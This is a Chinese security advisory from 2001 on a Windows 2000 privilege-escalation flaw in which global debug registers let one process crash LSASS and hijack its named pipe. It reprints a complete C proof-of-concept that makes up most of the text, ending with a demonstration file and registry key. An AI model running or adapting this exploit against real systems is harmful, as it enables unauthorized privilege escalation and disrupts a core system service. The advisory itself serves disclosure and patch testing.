首页 -> 安全研究

安全研究

安全漏洞
微软Win2K通过调试寄存器提升权限漏洞

发布日期:2001-05-28
更新日期:2001-05-28

受影响系统:

- Microsoft Windows 2000
- Microsoft Windows 2000 SP1

不受影响系统:

- Microsoft Windows 2000 SP2

描述:

BUGTRAQ  ID: 2764
CVE(CAN) ID: CAN-2001-1347

如果某人能够在目标Win2K系统上执行程序,则他可以提升自己的权限,至少他可以使自己对%SystemRoot%\system32目录和注册表中的HKEY_CLASSES_ROOT分支有写访问权限。

这是因为x86调试寄存器DR0~DR7对于所有进程来说是全局性的。因此在一个进程中所设的硬件断点会影响其它的进程和服务。如果该断点在某个服务中被触发,就会引发一个单步异常,该进程/服务就会被终止。该服务被终止后,就有可能劫持其受信任的命名管道,当另一个服务向这个命名管道写入时,就有可能冒充该服务。

<* 来源:Georgi Guninski(guninski@guninski.com)*>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Georgi Guninski(guninski@guninski.com)给出一个演示程序:
http://www.guninski.com/pipe3.cpp

该程序通过在CALC.EXE中设置硬件断点来杀掉LSASS.EXE,劫持了命名管道\\.\pipe\lsass,
并启动taskmgr.exe。
如果你看到来自CALC.EXE之外的单步异常对话框或(和)蓝屏死机,则存在漏洞。

该程序有两个可能需要修改的参数,一个是LSASS.EXE的进程ID,另外一个是可能会使LSASS.EXE
引起单步异常的ESP寄存器的值,这个值可以通过察看LSASS.EXE的某个线程的堆栈指针而得到。
另外,如果遇到蓝屏死机的情况,可能还需要修改Sleep( )的参数。

该程序将会创建一个文件c:\winnt\system32\vv1.vv,并在注册表中创建一个键HKEY_CLASSES_ROOT\vv。

// Win2K elevation of privileges
// Written by Georgi Guninski http://www.guninski.com
// Kind of ugly but works
// Check the disclaimer and advisory at http://www.guninski.com/dr07.html

#define _WIN32_WINNT  0x0500

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>

// may need to change below
///////////////////////////////
DWORD lsasspid=224; // pid of LSASS.EXE
//DWORD lsasspid=236; // pid of LSASS.EXE
DWORD MAGICESPINLSA=0x0053ffa0; // ESP in LSASS.EXE - may need to change it
//////////////////////////////

char szPipe[64]="\\\\.\\pipe\\lsass";
HANDLE hProc = NULL;
PROCESS_INFORMATION pi;


volatile int lsadied = 0;



unsigned long __stdcall threadlock(void *v)
{   
Sleep(1000);
LockWorkStation();
return 0;
}

unsigned long __stdcall threadwriter(void *v)
{
while(!lsadied)
{
    FILE *f1;
f1=fopen("\\\\.\\pipe\\lsass","a");
  if (f1 != NULL)
  {
   fprintf(f1,"A");
   fclose(f1);
  }
/*
  else
   printf("%s\n","error writing to pipe");
*/
Sleep(400);
}
printf("%s\n","Stop writing to pipe");
return 0;
}

unsigned long __stdcall waitlsadie(void *v)
{

int lsadied2=0;
long ( __stdcall *NtQuerySystemInformation )( ULONG, PVOID, ULONG, ULONG ) = NULL;
if ( !NtQuerySystemInformation )
      NtQuerySystemInformation = ( long ( __stdcall * )( ULONG, PVOID, ULONG,
ULONG ) ) GetProcAddress( GetModuleHandle( "ntdll.dll" ),"NtQuerySystemInformation" );
typedef struct _tagThreadInfo
{
        FILETIME ftCreationTime;
        DWORD dwUnknown1;
        DWORD dwStartAddress;
        DWORD dwOwningPID;
        DWORD dwThreadID;
        DWORD dwCurrentPriority;
        DWORD dwBasePriority;
        DWORD dwContextSwitches;
        DWORD dwThreadState;
          DWORD dwWaitReason;
        DWORD dwUnknown2[ 5 ];
} THREADINFO, *PTHREADINFO;
#pragma warning( disable:4200 )
typedef struct _tagProcessInfo
{
        DWORD dwOffset;
        DWORD dwThreadCount;
        DWORD dwUnknown1[ 6 ];
        FILETIME ftCreationTime;
        DWORD dwUnknown2[ 5 ];
        WCHAR* pszProcessName;
        DWORD dwBasePriority;
        DWORD dwProcessID;
        DWORD dwParentProcessID;
        DWORD dwHandleCount;
        DWORD dwUnknown3;
        DWORD dwUnknown4;
        DWORD dwVirtualBytesPeak;
        DWORD dwVirtualBytes;
        DWORD dwPageFaults;
        DWORD dwWorkingSetPeak;
        DWORD dwWorkingSet;
        DWORD dwUnknown5;
        DWORD dwPagedPool;
        DWORD dwUnknown6;
        DWORD dwNonPagedPool;
        DWORD dwPageFileBytesPeak;
        DWORD dwPrivateBytes;
        DWORD dwPageFileBytes;
        DWORD dwUnknown7[ 4 ];
        THREADINFO ti[ 0 ];
} _PROCESSINFO, *PPROCESSINFO;
#pragma warning( default:4200 )



PBYTE pbyInfo = NULL;
DWORD cInfoSize = 0x20000;
while(!lsadied2)
{
pbyInfo = ( PBYTE ) malloc( cInfoSize );
NtQuerySystemInformation( 5, pbyInfo, cInfoSize, 0 ) ;
PPROCESSINFO pProcessInfo = ( PPROCESSINFO ) pbyInfo;
bool bLast = false;
lsadied2 = 1;
do {
  if ( pProcessInfo->dwOffset == 0 )
         bLast = true;
     if (pProcessInfo->dwProcessID == lsasspid)
   lsadied2 = 0 ;
     pProcessInfo = ( PPROCESSINFO ) ( ( PBYTE ) pProcessInfo + pProcessInfo->dwOffset );
    } while( bLast == false );
free( pbyInfo );
}
printf("LSA died!\n");
lsadied=1;
return 0;
}



void add_thread(HANDLE thread)
{
    CONTEXT ctx = {CONTEXT_DEBUG_REGISTERS};

//DR7=d0000540 DR6=ffff0ff0 DR3=53ffa0 DR2=0 DR1=0 DR0=0

    SuspendThread(thread);
    GetThreadContext(thread,&ctx);
ctx.Dr7=0xd0000540;
ctx.Dr6=0xffff0ff0;
ctx.Dr3=MAGICESPINLSA;
ctx.Dr2=0;
ctx.Dr1=0;
ctx.Dr0=0;
    SetThreadContext(thread, &ctx);
    ResumeThread(thread);
//    printf("DR7=%x DR6=%x DR3=%x DR2=%x DR1=%x DR0=%x\n",ctx.Dr7,ctx.Dr6,ctx.Dr3,ctx.Dr2,ctx.Dr1,ctx.Dr0);

}


unsigned long __stdcall threaddeb(void *v)
{
    STARTUPINFO si = {
        sizeof(STARTUPINFO)
    };


    CreateProcess(0,"c:\\winnt\\system32\\taskmgr.exe",0,0,0,
  CREATE_NEW_CONSOLE,0,0,&si,&pi);
Sleep(2000);
    BOOL status = CreateProcess(
        0,
        "c:\\winnt\\system32\\calc.exe",
        0,0,0,
  DEBUG_PROCESS
        | DEBUG_ONLY_THIS_PROCESS
        | CREATE_NEW_CONSOLE,
        0,0,&si,&pi);

    if( !status )
    {
  printf("%s\n","error debugging");
  exit(1);
    }

    add_thread(pi.hThread);

    for( ;; )
    {
        DEBUG_EVENT de;
        if( !WaitForDebugEvent(&de, INFINITE) )
        {
   printf("%s\n","error WaitForDebugEvent");
        }

        switch( de.dwDebugEventCode )
        {
        case CREATE_THREAD_DEBUG_EVENT:
            add_thread(de.u.CreateThread.hThread);
            break;
        }
    ContinueDebugEvent(de.dwProcessId,de.dwThreadId,DBG_CONTINUE);
}

return 0;
}

    int main(int argc,char* argv[])
    {
      DWORD dwType = REG_DWORD;
      DWORD dwSize = sizeof(DWORD);
   DWORD dwNumber = 0;
      char szUser[256];
      HANDLE hPipe = 0;

  if (argc > 1)
   lsasspid=atoi(argv[1]);
  if (argc > 2)
   sscanf(argv[2],"%x",&MAGICESPINLSA);

   printf("Fun with debug registers. Written by Georgi Guninski\n");
   printf("vvdr started: lsasspid=%d breakp=%x\n",lsasspid,MAGICESPINLSA);
      CreateThread(0, 0, &threadwriter, NULL, 0, 0);
   CreateThread(0, 0, &waitlsadie, NULL, 0, 0);
   CreateThread(0, 0, &threaddeb, NULL, 0, 0);

     while(!lsadied);

      printf("start %s\n",szPipe);
      hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                               PIPE_TYPE_MESSAGE|PIPE_WAIT,
                               2, 0, 0, 0, NULL);
      if (hPipe == INVALID_HANDLE_VALUE)
      {
        printf ("Failed to create named pipe:\n  %s\n", szPipe);
        return 3;
      }
   CreateThread(0, 0, &threadlock, NULL, 0, 0);
   ConnectNamedPipe (hPipe, NULL);
      if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL))
      {
        printf ("Failed to read the named pipe.\n");
        CloseHandle(hPipe);
        return 4;
      }

     if (!ImpersonateNamedPipeClient (hPipe))
      {
        printf ("Failed to impersonate the named pipe.\n");
        CloseHandle(hPipe);
        return 5;
      }
      dwSize  = 256;
      GetUserName(szUser, &dwSize);
      printf ("Impersonating dummy :) : %s\n\n\n\n", szUser);
// the action begins
   FILE *f1;
   f1=fopen("c:\\winnt\\system32\\vv1.vv","a");
  if (f1 != NULL)
  {
   fprintf(f1,"lsass worked\n");
   fclose(f1);
   printf("\n%s\n","Done!");
  }
  else
   printf("error creating file");
fflush(stdout);
HKEY mykey;
RegCreateKey(HKEY_CLASSES_ROOT,"vv",&mykey);
RegCloseKey(mykey);


    CloseHandle(hPipe);
    return 0;
}




建议:

厂商补丁:

微软宣称Win2K SP2中已解决本问题,但目前尚未得到证实。

微软SP2下载地址:
http://www.microsoft.com/windows2000/downloads/servicepacks/sp2/default.asp



浏览次数:4393
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障